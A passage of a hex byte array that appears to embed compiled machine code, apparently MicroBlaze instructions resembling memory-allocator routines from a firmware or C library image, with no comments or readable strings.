0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0x0f, 0x5c,
0x80, 0x00, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0x30, 0x21, 0xff, 0xd0,
0xfb, 0x01, 0x00, 0x28,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x21, 0x00, 0x2c,
0x13, 0x05, 0x00, 0x00,
0xe8, 0xa5, 0x00, 0x18,
0xbe, 0x25, 0x02, 0x5c,
0x30, 0x60, 0x00, 0x01,
0xb0, 0x00, 0x00, 0x00,
0xeb, 0x20, 0xff, 0x68,
0xf8, 0x78, 0x00, 0x18,
0xe8, 0x99, 0x00, 0x18,
0x30, 0x60, 0x72, 0x7c,
0xf8, 0xb8, 0x00, 0xe0,
0xf8, 0xb8, 0x00, 0xd8,
0xf8, 0x78, 0x00, 0x28,
0xf8, 0xb8, 0x00, 0xdc,
0xbc, 0x04, 0x02, 0xa8,
0x32, 0xf9, 0x00, 0xd8,
0x12, 0xd7, 0x00, 0x00,
0xe8, 0x76, 0x00, 0x04,
0xe8, 0xb6, 0x00, 0x08,
0x30, 0x83, 0xff, 0xff,
0xbc, 0xa4, 0x00, 0x14,
0xb8, 0x00, 0x02, 0x34,
0xaa, 0x44, 0xff, 0xff,
0xbe, 0x12, 0x02, 0x2c,
0x30, 0xa5, 0x00, 0x5c,
0xe4, 0x65, 0x00, 0x0c,
0xbe, 0x23, 0xff, 0xf0,
0x30, 0x84, 0xff, 0xff,
0x30, 0x60, 0xff, 0xff,
0x30, 0x80, 0x00, 0x01,
0xf4, 0x65, 0x00, 0x0e,
0xf4, 0x85, 0x00, 0x0c,
0xf8, 0x05, 0x00, 0x00,
0xf8, 0x05, 0x00, 0x08,
0xf8, 0x05, 0x00, 0x04,
0xf8, 0x05, 0x00, 0x10,
0xf8, 0x05, 0x00, 0x14,
0xf8, 0x05, 0x00, 0x18,
0xf8, 0x05, 0x00, 0x34,
0xf8, 0x05, 0x00, 0x38,
0xf8, 0x05, 0x00, 0x48,
0xf8, 0x05, 0x00, 0x4c,
0xe8, 0x79, 0x00, 0x18,
0xf8, 0xb8, 0x00, 0x00,
0xbc, 0x03, 0x02, 0x20,
0x12, 0xd7, 0x00, 0x00,
0xe8, 0x76, 0x00, 0x04,
0xe8, 0xb6, 0x00, 0x08,
0x30, 0x83, 0xff, 0xff,
0xbc, 0xa4, 0x00, 0x14,
0xb8, 0x00, 0x01, 0xe8,
0xaa, 0x44, 0xff, 0xff,
0xbe, 0x12, 0x01, 0xe0,
0x30, 0xa5, 0x00, 0x5c,
0xe4, 0x65, 0x00, 0x0c,
0xbe, 0x23, 0xff, 0xf0,
0x30, 0x84, 0xff, 0xff,
0x30, 0x60, 0xff, 0xff,
0x30, 0x80, 0x00, 0x01,
0xf4, 0x65, 0x00, 0x0e,
0xf4, 0x85, 0x00, 0x0c,
0xf8, 0x05, 0x00, 0x00,
0xf8, 0x05, 0x00, 0x08,
0xf8, 0x05, 0x00, 0x04,
0xf8, 0x05, 0x00, 0x10,
0xf8, 0x05, 0x00, 0x14,
0xf8, 0x05, 0x00, 0x18,
0xf8, 0x05, 0x00, 0x34,
0xf8, 0x05, 0x00, 0x38,
0xf8, 0x05, 0x00, 0x48,
0xf8, 0x05, 0x00, 0x4c,
0xe8, 0x79, 0x00, 0x18,
0xf8, 0xb8, 0x00, 0x04,
0xbc, 0x03, 0x01, 0xa0,
0xe8, 0x77, 0x00, 0x04,
0xe9, 0x57, 0x00, 0x08,
0x30, 0x83, 0xff, 0xff,
0xbc, 0xa4, 0x00, 0x14,
0xb8, 0x00, 0x01, 0x64,
0xaa, 0x44, 0xff, 0xff,
0xbe, 0x12, 0x01, 0x5c,
0x31, 0x4a, 0x00, 0x5c,
0xe4, 0x6a, 0x00, 0x0c,
0xbe, 0x23, 0xff, 0xf0,
0x30, 0x84, 0xff, 0xff,
0x30, 0x60, 0xff, 0xff,
0x30, 0x80, 0x00, 0x01,
0xf4, 0x6a, 0x00, 0x0e,
0xf4, 0x8a, 0x00, 0x0c,
0xf8, 0x0a, 0x00, 0x00,
0xf8, 0x0a, 0x00, 0x08,
0xf8, 0x0a, 0x00, 0x04,
0xf8, 0x0a, 0x00, 0x10,
0xf8, 0x0a, 0x00, 0x14,
0xf8, 0x0a, 0x00, 0x18,
0xf8, 0x0a, 0x00, 0x34,
0xf8, 0x0a, 0x00, 0x38,
0xf8, 0x0a, 0x00, 0x48,
0xf8, 0x0a, 0x00, 0x4c,
0xe8, 0x78, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xe0, 0xb9, 0x90,
0xb0, 0x00, 0x00, 0x00,
0x31, 0x00, 0xb9, 0x08,
0xb0, 0x00, 0x00, 0x00,
0x31, 0x20, 0xb8, 0x98,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xc0, 0xb8, 0x70,
0xe8, 0xb8, 0x00, 0x04,
0x30, 0x80, 0x00, 0x04,
0xf4, 0x83, 0x00, 0x0c,
0xf8, 0x03, 0x00, 0x00,
0xf8, 0x03, 0x00, 0x04,
0xf8, 0x03, 0x00, 0x08,
0xf8, 0xc3, 0x00, 0x30,
0xf4, 0x03, 0x00, 0x0e,
0xf8, 0x03, 0x00, 0x10,
0xf8, 0x03, 0x00, 0x14,
0xf8, 0x03, 0x00, 0x18,
0xf8, 0x63, 0x00, 0x20,
0xf8, 0xe3, 0x00, 0x24,
0xf9, 0x03, 0x00, 0x28,
0xf9, 0x23, 0x00, 0x2c,
0x30, 0x80, 0x00, 0x09,
0x30, 0x60, 0x00, 0x01,
0xf4, 0x85, 0x00, 0x0c,
0xf8, 0x05, 0x00, 0x00,
0xf8, 0x05, 0x00, 0x04,
0xf8, 0x05, 0x00, 0x08,
0xf4, 0x65, 0x00, 0x0e,
0x30, 0x60, 0x00, 0x0a,
0xf4, 0x6a, 0x00, 0x0c,
0xf8, 0xc5, 0x00, 0x30,
0xf9, 0x58, 0x00, 0x08,
0xf8, 0x05, 0x00, 0x10,
0xf8, 0x05, 0x00, 0x14,
0xf8, 0x05, 0x00, 0x18,
0xf8, 0xa5, 0x00, 0x20,
0xf8, 0xe5, 0x00, 0x24,
0xf9, 0x05, 0x00, 0x28,
0xf9, 0x25, 0x00, 0x2c,
0xf8, 0x0a, 0x00, 0x00,
0xf8, 0x0a, 0x00, 0x04,
0xf8, 0x0a, 0x00, 0x08,
0x30, 0x60, 0x00, 0x02,
0xf4, 0x6a, 0x00, 0x0e,
0xf8, 0xca, 0x00, 0x30,
0xf8, 0xea, 0x00, 0x24,
0xf9, 0x0a, 0x00, 0x28,
0xf9, 0x2a, 0x00, 0x2c,
0xf8, 0x0a, 0x00, 0x10,
0xf8, 0x0a, 0x00, 0x14,
0xf8, 0x0a, 0x00, 0x18,
0xf9, 0x4a, 0x00, 0x20,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x30,
0xea, 0x76, 0x00, 0x00,
0xbe, 0x13, 0x00, 0xa8,
0x10, 0xb8, 0x00, 0x00,
0xb8, 0x10, 0xfd, 0xb0,
0x12, 0xd3, 0x00, 0x00,
0xea, 0x77, 0x00, 0x00,
0xbe, 0x13, 0x00, 0xd8,
0x10, 0xb8, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0x80,
0x12, 0xf3, 0x00, 0x00,
0xea, 0x76, 0x00, 0x00,
0xbe, 0x13, 0x00, 0x3c,
0x10, 0xb8, 0x00, 0x00,
0xb8, 0x10, 0xfd, 0xfc,
0x12, 0xd3, 0x00, 0x00,
0xb9, 0xf4, 0xfd, 0x24,
0x10, 0xb9, 0x00, 0x00,
0xb8, 0x00, 0xfe, 0x5c,
0xb9, 0xf4, 0xfd, 0x18,
0x10, 0xb9, 0x00, 0x00,
0xb8, 0x10, 0xfd, 0xe0,
0x12, 0xd7, 0x00, 0x00,
0xb9, 0xf4, 0xfd, 0x08,
0x10, 0xb9, 0x00, 0x00,
0xb8, 0x10, 0xfd, 0x58,
0x32, 0xf9, 0x00, 0xd8,
0xb9, 0xf4, 0x9a, 0xb8,
0x30, 0xc0, 0x01, 0x7c,
0xbe, 0x03, 0x00, 0xc4,
0x10, 0xe3, 0x00, 0x00,
0x30, 0x83, 0x00, 0x0c,
0x10, 0xd3, 0x00, 0x00,
0x10, 0xa4, 0x00, 0x00,
0xfa, 0x63, 0x00, 0x00,
0x12, 0x63, 0x00, 0x00,
0x30, 0x60, 0x00, 0x04,
0xf8, 0x67, 0x00, 0x04,
0xf8, 0x87, 0x00, 0x08,
0xb9, 0xf4, 0x12, 0x20,
0x30, 0xe0, 0x01, 0x70,
0xfa, 0x76, 0x00, 0x00,
0xb8, 0x10, 0xfd, 0x8c,
0x12, 0xd3, 0x00, 0x00,
0xb9, 0xf4, 0x9a, 0x74,
0x30, 0xc0, 0x01, 0x7c,
0xbe, 0x03, 0x00, 0xa8,
0x10, 0xe3, 0x00, 0x00,
0x30, 0x83, 0x00, 0x0c,
0x10, 0xd3, 0x00, 0x00,
0x10, 0xa4, 0x00, 0x00,
0xfa, 0x63, 0x00, 0x00,
0x12, 0x63, 0x00, 0x00,
0x30, 0x60, 0x00, 0x04,
0xf8, 0x67, 0x00, 0x04,
0xf8, 0x87, 0x00, 0x08,
0xb9, 0xf4, 0x11, 0xdc,
0x30, 0xe0, 0x01, 0x70,
0xfa, 0x76, 0x00, 0x00,
0xb8, 0x10, 0xfc, 0xd4,
0x12, 0xd3, 0x00, 0x00,
0xb9, 0xf4, 0x9a, 0x30,
0x30, 0xc0, 0x01, 0x7c,
0xbe, 0x03, 0x00, 0x50,
0x10, 0xe3, 0x00, 0x00,
0x30, 0x83, 0x00, 0x0c,
0x10, 0xd3, 0x00, 0x00,
0x10, 0xa4, 0x00, 0x00,
0xfa, 0x63, 0x00, 0x00,
0x12, 0x63, 0x00, 0x00,
0x30, 0x60, 0x00, 0x04,
0xf8, 0x67, 0x00, 0x04,
0xf8, 0x87, 0x00, 0x08,
0xb9, 0xf4, 0x11, 0x98,
0x30, 0xe0, 0x01, 0x70,
0xfa, 0x77, 0x00, 0x00,
0xb8, 0x10, 0xfd, 0x74,
0x12, 0xf3, 0x00, 0x00,
0x30, 0x60, 0x00, 0x0c,
0xfa, 0x76, 0x00, 0x00,
0xf8, 0x78, 0x00, 0x0c,
0xb8, 0x10, 0xfd, 0x54,
0x10, 0xb3, 0x00, 0x00,
0x30, 0x60, 0x00, 0x0c,
0xfa, 0x77, 0x00, 0x00,
0xf8, 0x78, 0x00, 0x0c,
0xb8, 0x10, 0xfd, 0xb0,
0x11, 0x53, 0x00, 0x00,
0x30, 0x60, 0x00, 0x0c,
0xfa, 0x76, 0x00, 0x00,
0xf8, 0x78, 0x00, 0x0c,
0xb8, 0x10, 0xfc, 0xb8,
0x10, 0xb3, 0x00, 0x00,
0x30, 0x21, 0xff, 0xd8,
0xfa, 0x61, 0x00, 0x1c,
0xb0, 0x00, 0x00, 0x00,
0xea, 0x60, 0xff, 0x68,
0xfa, 0xe1, 0x00, 0x24,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x20,
0xe8, 0x73, 0x00, 0x18,
0xbe, 0x03, 0x00, 0xa0,
0x12, 0xe5, 0x00, 0x00,
0x32, 0xd3, 0x00, 0xd8,
0xe8, 0x76, 0x00, 0x04,
0xe8, 0xb6, 0x00, 0x08,
0x30, 0x83, 0xff, 0xff,
0xbc, 0xa4, 0x00, 0x14,
0xb8, 0x00, 0x00, 0x70,
0xaa, 0x44, 0xff, 0xff,
0xbe, 0x12, 0x00, 0x68,
0x30, 0xa5, 0x00, 0x5c,
0xe4, 0x65, 0x00, 0x0c,
0xbe, 0x23, 0xff, 0xf0,
0x30, 0x84, 0xff, 0xff,
0x30, 0x60, 0xff, 0xff,
0x30, 0x80, 0x00, 0x01,
0xf4, 0x65, 0x00, 0x0e,
0xf4, 0x85, 0x00, 0x0c,
0xf8, 0x05, 0x00, 0x00,
0xf8, 0x05, 0x00, 0x08,
0xf8, 0x05, 0x00, 0x04,
0xf8, 0x05, 0x00, 0x10,
0xf8, 0x05, 0x00, 0x14,
0xf8, 0x05, 0x00, 0x18,
0xf8, 0x05, 0x00, 0x34,
0xf8, 0x05, 0x00, 0x38,
0xf8, 0x05, 0x00, 0x48,
0xf8, 0x05, 0x00, 0x4c,
0x10, 0x65, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x28,
0xea, 0x76, 0x00, 0x00,
0xbe, 0x13, 0x00, 0x20,
0x10, 0xb7, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x74,
0x12, 0xd3, 0x00, 0x00,
0xb9, 0xf4, 0xfb, 0x30,
0x10, 0xb3, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x64,
0x32, 0xd3, 0x00, 0xd8,
0xb9, 0xf4, 0x98, 0xe0,
0x30, 0xc0, 0x01, 0x7c,
0xbe, 0x03, 0x00, 0x3c,
0x10, 0xe3, 0x00, 0x00,
0x30, 0x83, 0x00, 0x0c,
0x10, 0xd3, 0x00, 0x00,
0x10, 0xa4, 0x00, 0x00,
0xfa, 0x63, 0x00, 0x00,
0x12, 0x63, 0x00, 0x00,
0x30, 0x60, 0x00, 0x04,
0xf8, 0x67, 0x00, 0x04,
0xf8, 0x87, 0x00, 0x08,
0xb9, 0xf4, 0x10, 0x48,
0x30, 0xe0, 0x01, 0x70,
0xfa, 0x76, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x20,
0x12, 0xd3, 0x00, 0x00,
0x30, 0x60, 0x00, 0x0c,
0xf8, 0x77, 0x00, 0x0c,
0xfa, 0x76, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x70,
0x10, 0xb3, 0x00, 0x00,
0x30, 0x21, 0xff, 0xd8,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0x12, 0xc6, 0x00, 0x00,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0xa4, 0x14,
0x12, 0xe5, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x05, 0xa0,
0x10, 0xb7, 0x00, 0x00,
0xe8, 0x83, 0x00, 0x04,
0xa6, 0x64, 0xff, 0xfc,
0x16, 0xd6, 0x98, 0x00,
0x32, 0xd6, 0x00, 0x6f,
0xa6, 0xd6, 0xff, 0x80,
0x32, 0xd6, 0xff, 0x80,
0x32, 0x40, 0x00, 0x7f,
0x16, 0x56, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x2c,
0x10, 0xc0, 0x00, 0x00,
0xb9, 0xf4, 0xa6, 0x18,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x80, 0x05, 0xa0,
0x10, 0xb7, 0x00, 0x00,
0x10, 0x93, 0x20, 0x00,
0x16, 0x44, 0x18, 0x00,
0xbe, 0x12, 0x00, 0x2c,
0x14, 0xd6, 0x00, 0x00,
0xb9, 0xf4, 0xa3, 0xbc,
0x80, 0x00, 0x00, 0x00,
0x10, 0x60, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x28,
0xb9, 0xf4, 0xa5, 0xd0,
0x10, 0xb7, 0x00, 0x00,
0x14, 0x96, 0x98, 0x00,
0x10, 0xb7, 0x00, 0x00,
0xa0, 0xe4, 0x00, 0x01,
0xaa, 0x43, 0xff, 0xff,
0xbe, 0x12, 0x00, 0x38,
0x10, 0xc0, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x0a, 0x08,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x80, 0x05, 0xa0,
0x14, 0x76, 0x18, 0x00,
0xf8, 0xe4, 0x00, 0x04,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x60, 0x0a, 0x08,
0xb9, 0xf4, 0xa3, 0x58,
0x10, 0xb7, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xa0,
0x30, 0x60, 0x00, 0x01,
0xb9, 0xf4, 0xa5, 0x80,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x80, 0x05, 0xa0,
0x10, 0xe3, 0x00, 0x00,
0x14, 0x64, 0x18, 0x00,
0xa0, 0xc3, 0x00, 0x01,
0x32, 0x40, 0x00, 0x0f,
0x16, 0x43, 0x90, 0x01,
0xbe, 0xb2, 0xff, 0x68,
0x10, 0xb7, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x09, 0xa4,
0xf8, 0xc4, 0x00, 0x04,
0x14, 0x63, 0x38, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x60, 0x0a, 0x08,
0xb8, 0x00, 0xff, 0x48,
0x30, 0x21, 0xff, 0xdc,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xf9, 0xe1, 0x00, 0x00,
0x12, 0x66, 0x00, 0x00,
0xbe, 0x06, 0x00, 0xac,
0x12, 0xc5, 0x00, 0x00,
0xb9, 0xf4, 0xa2, 0xdc,
0x80, 0x00, 0x00, 0x00,
0x31, 0x33, 0xff, 0xf8,
0xe8, 0xe9, 0x00, 0x04,
0xb0, 0x00, 0x00, 0x01,
0x31, 0x40, 0x05, 0x98,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x05, 0xa0,
0xa4, 0xa7, 0xff, 0xfe,
0x10, 0xc9, 0x28, 0x00,
0xe8, 0x86, 0x00, 0x04,
0x11, 0x6a, 0x00, 0x00,
0x16, 0x43, 0x30, 0x00,
0xbe, 0x12, 0x01, 0xa0,
0xa5, 0x04, 0xff, 0xfc,
0xa4, 0x67, 0x00, 0x01,
0xf9, 0x06, 0x00, 0x04,
0xbe, 0x23, 0x00, 0x38,
0x10, 0xe0, 0x00, 0x00,
0xe8, 0x69, 0x00, 0x00,
0x30, 0xe0, 0x00, 0x01,
0x15, 0x23, 0x48, 0x00,
0xe8, 0x89, 0x00, 0x08,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x44, 0x05, 0xa0,
0xbe, 0x12, 0x00, 0x18,
0x10, 0xa5, 0x18, 0x00,
0xe8, 0x69, 0x00, 0x0c,
0x10, 0xe0, 0x00, 0x00,
0xf8, 0x83, 0x00, 0x08,
0xf8, 0x64, 0x00, 0x0c,
0x10, 0x86, 0x40, 0x00,
0xe8, 0x64, 0x00, 0x04,
0xa4, 0x63, 0x00, 0x01,
0xbc, 0x03, 0x00, 0x30,
0xa0, 0x65, 0x00, 0x01,
0xf8, 0x69, 0x00, 0x04,
0xbe, 0x07, 0x00, 0x4c,
0xd8, 0xa9, 0x28, 0x00,
0xb9, 0xf4, 0xa2, 0x48,
0x10, 0xb6, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x24,
0xbe, 0x27, 0x00, 0xb8,
0x10, 0xa5, 0x40, 0x00,
0xe8, 0x86, 0x00, 0x08,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x44, 0x05, 0xa0,
0xbc, 0x12, 0x01, 0xac,
0xe8, 0x66, 0x00, 0x0c,
0xf8, 0x83, 0x00, 0x08,
0xf8, 0x64, 0x00, 0x0c,
0xb8, 0x00, 0xff, 0xb0,
0x22, 0x40, 0x01, 0xff,
0x16, 0x45, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x90,
0x30, 0x80, 0x00, 0x01,
0x90, 0x65, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0xbc, 0x23, 0x01, 0x1c,
0x90, 0x65, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x60, 0x83, 0x00, 0x08,
0x10, 0xe4, 0x58, 0x00,
0xe8, 0xc7, 0x00, 0x08,
0x16, 0x46, 0x38, 0x00,
0xbe, 0x12, 0x01, 0x64,
0x30, 0x80, 0x00, 0x01,
0xe8, 0x66, 0x00, 0x04,
0xa4, 0x63, 0xff, 0xfc,
0x16, 0x43, 0x28, 0x03,
0xbc, 0xb2, 0x00, 0x10,
0xe8, 0xc6, 0x00, 0x08,
0x16, 0x46, 0x38, 0x00,
0xbc, 0x32, 0xff, 0xe8,
0xe8, 0xe6, 0x00, 0x0c,
0xf8, 0xe9, 0x00, 0x0c,
0xf8, 0xc9, 0x00, 0x08,
0xf9, 0x26, 0x00, 0x0c,
0xf9, 0x27, 0x00, 0x08,
0xb8, 0x00, 0xff, 0x30,
0xe8, 0x86, 0x00, 0x08,
0xb8, 0x00, 0xff, 0x5c,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x60, 0xc5, 0x00, 0x08,
0x10, 0xc6, 0x58, 0x00,
0xe8, 0xe6, 0x00, 0x08,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x05, 0x9c,
0xf8, 0xc9, 0x00, 0x0c,
0xf8, 0xe9, 0x00, 0x08,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0xa6, 0x45, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x84, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0x84, 0x20, 0x00,
0x80, 0x63, 0x20, 0x00,
0xf8, 0x6a, 0x00, 0x04,
0xf9, 0x27, 0x00, 0x0c,
0xf9, 0x26, 0x00, 0x08,
0xb8, 0x00, 0xfe, 0xcc,
0xa4, 0x67, 0x00, 0x01,
0xbe, 0x23, 0x00, 0x24,
0x10, 0xe5, 0x40, 0x00,
0xe8, 0x73, 0xff, 0xf8,
0x15, 0x23, 0x48, 0x00,
0xe8, 0xa9, 0x00, 0x0c,
0xe8, 0x89, 0x00, 0x08,
0x10, 0xe7, 0x18, 0x00,
0xf8, 0x85, 0x00, 0x08,
0xf8, 0xa4, 0x00, 0x0c,
0xa0, 0x67, 0x00, 0x01,
0xf8, 0x69, 0x00, 0x04,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x09, 0xa0,
0xb0, 0x00, 0x00, 0x01,
0xf9, 0x20, 0x05, 0xa0,
0x16, 0x43, 0x38, 0x03,
0xbc, 0x52, 0xfe, 0x84,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xc0, 0x09, 0xfc,
0xb9, 0xf4, 0xfc, 0x8c,
0x10, 0xb6, 0x00, 0x00,
0xb8, 0x00, 0xfe, 0x70,
0x22, 0x40, 0x00, 0x04,
0x16, 0x43, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x1c,
0x22, 0x40, 0x00, 0x14,
0x16, 0x43, 0x90, 0x03,
0xbc, 0x52, 0x00, 0x8c,
0x30, 0x63, 0x00, 0x5b,
0xb8, 0x10, 0xfe, 0xdc,
0x60, 0x83, 0x00, 0x08,
0x90, 0x65, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x30, 0x63, 0x00, 0x38,
0xb8, 0x10, 0xfe, 0xb8,
0x60, 0x83, 0x00, 0x08,
0xf9, 0x24, 0x00, 0x0c,
0xf9, 0x24, 0x00, 0x08,
0xa0, 0x65, 0x00, 0x01,
0xd8, 0xa9, 0x28, 0x00,
0xf8, 0x89, 0x00, 0x08,
0xf8, 0x69, 0x00, 0x04,
0xf8, 0x89, 0x00, 0x0c,
0xb8, 0x00, 0xfe, 0x08,
0x90, 0xa3, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x05, 0x9c,
0xa6, 0x45, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x84, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0x84, 0x20, 0x00,
0x80, 0x63, 0x20, 0x00,
0xf8, 0x6a, 0x00, 0x04,
0xb8, 0x10, 0xfe, 0x94,
0x10, 0xc7, 0x00, 0x00,
0x22, 0x40, 0x00, 0x54,
0x16, 0x43, 0x90, 0x03,
0xbc, 0x52, 0x00, 0x40,
0x90, 0x65, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x30, 0x63, 0x00, 0x6e,
0xb8, 0x10, 0xfe, 0x18,
0x60, 0x83, 0x00, 0x08,
0x22, 0x40, 0x01, 0x54,
0x16, 0x43, 0x90, 0x03,
0xbc, 0x52, 0x00, 0x4c,
0x90, 0x65, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x30, 0x63, 0x00, 0x77,
0xb8, 0x10, 0xfd, 0xc4,
0x60, 0x83, 0x00, 0x08,
0x22, 0x40, 0x05, 0x54,
0x16, 0x43, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x10,
0x30, 0x60, 0x00, 0x7e,
0xb8, 0x10, 0xfd, 0xac,
0x30, 0x80, 0x03, 0xf0,
0x90, 0x65, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x30, 0x63, 0x00, 0x7c,
0xb8, 0x10, 0xfd, 0x58,
0x60, 0x83, 0x00, 0x08,
0x30, 0x21, 0xff, 0xc0,
0xfb, 0x01, 0x00, 0x28,
0xfb, 0x81, 0x00, 0x38,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x21, 0x00, 0x2c,
0xfb, 0x41, 0x00, 0x30,
0xfb, 0x61, 0x00, 0x34,
0xfb, 0xa1, 0x00, 0x3c,
0xe8, 0x66, 0x00, 0x08,
0x13, 0x86, 0x00, 0x00,
0xbe, 0x03, 0x00, 0x80,
0x13, 0x05, 0x00, 0x00,
0xe4, 0x85, 0x00, 0x0c,
0xa4, 0x64, 0x00, 0x08,
0xbc, 0x03, 0x03, 0xbc,
0xe8, 0x65, 0x00, 0x10,
0xbe, 0x03, 0x03, 0xb4,
0xa4, 0x64, 0x00, 0x02,
0xeb, 0x3c, 0x00, 0x00,
0xbe, 0x03, 0x00, 0x94,
0xa4, 0xe4, 0x00, 0x01,
0x12, 0x60, 0x00, 0x00,
0x12, 0xd3, 0x00, 0x00,
0xbe, 0x13, 0x01, 0x38,
0x10, 0xd6, 0x00, 0x00,
0xe8, 0xb8, 0x00, 0x20,
0x22, 0x40, 0x04, 0x00,
0x16, 0x53, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x0c,
0x10, 0xf3, 0x00, 0x00,
0x30, 0xe0, 0x04, 0x00,
0xe8, 0x78, 0x00, 0x28,
0x99, 0xfc, 0x18, 0x00,
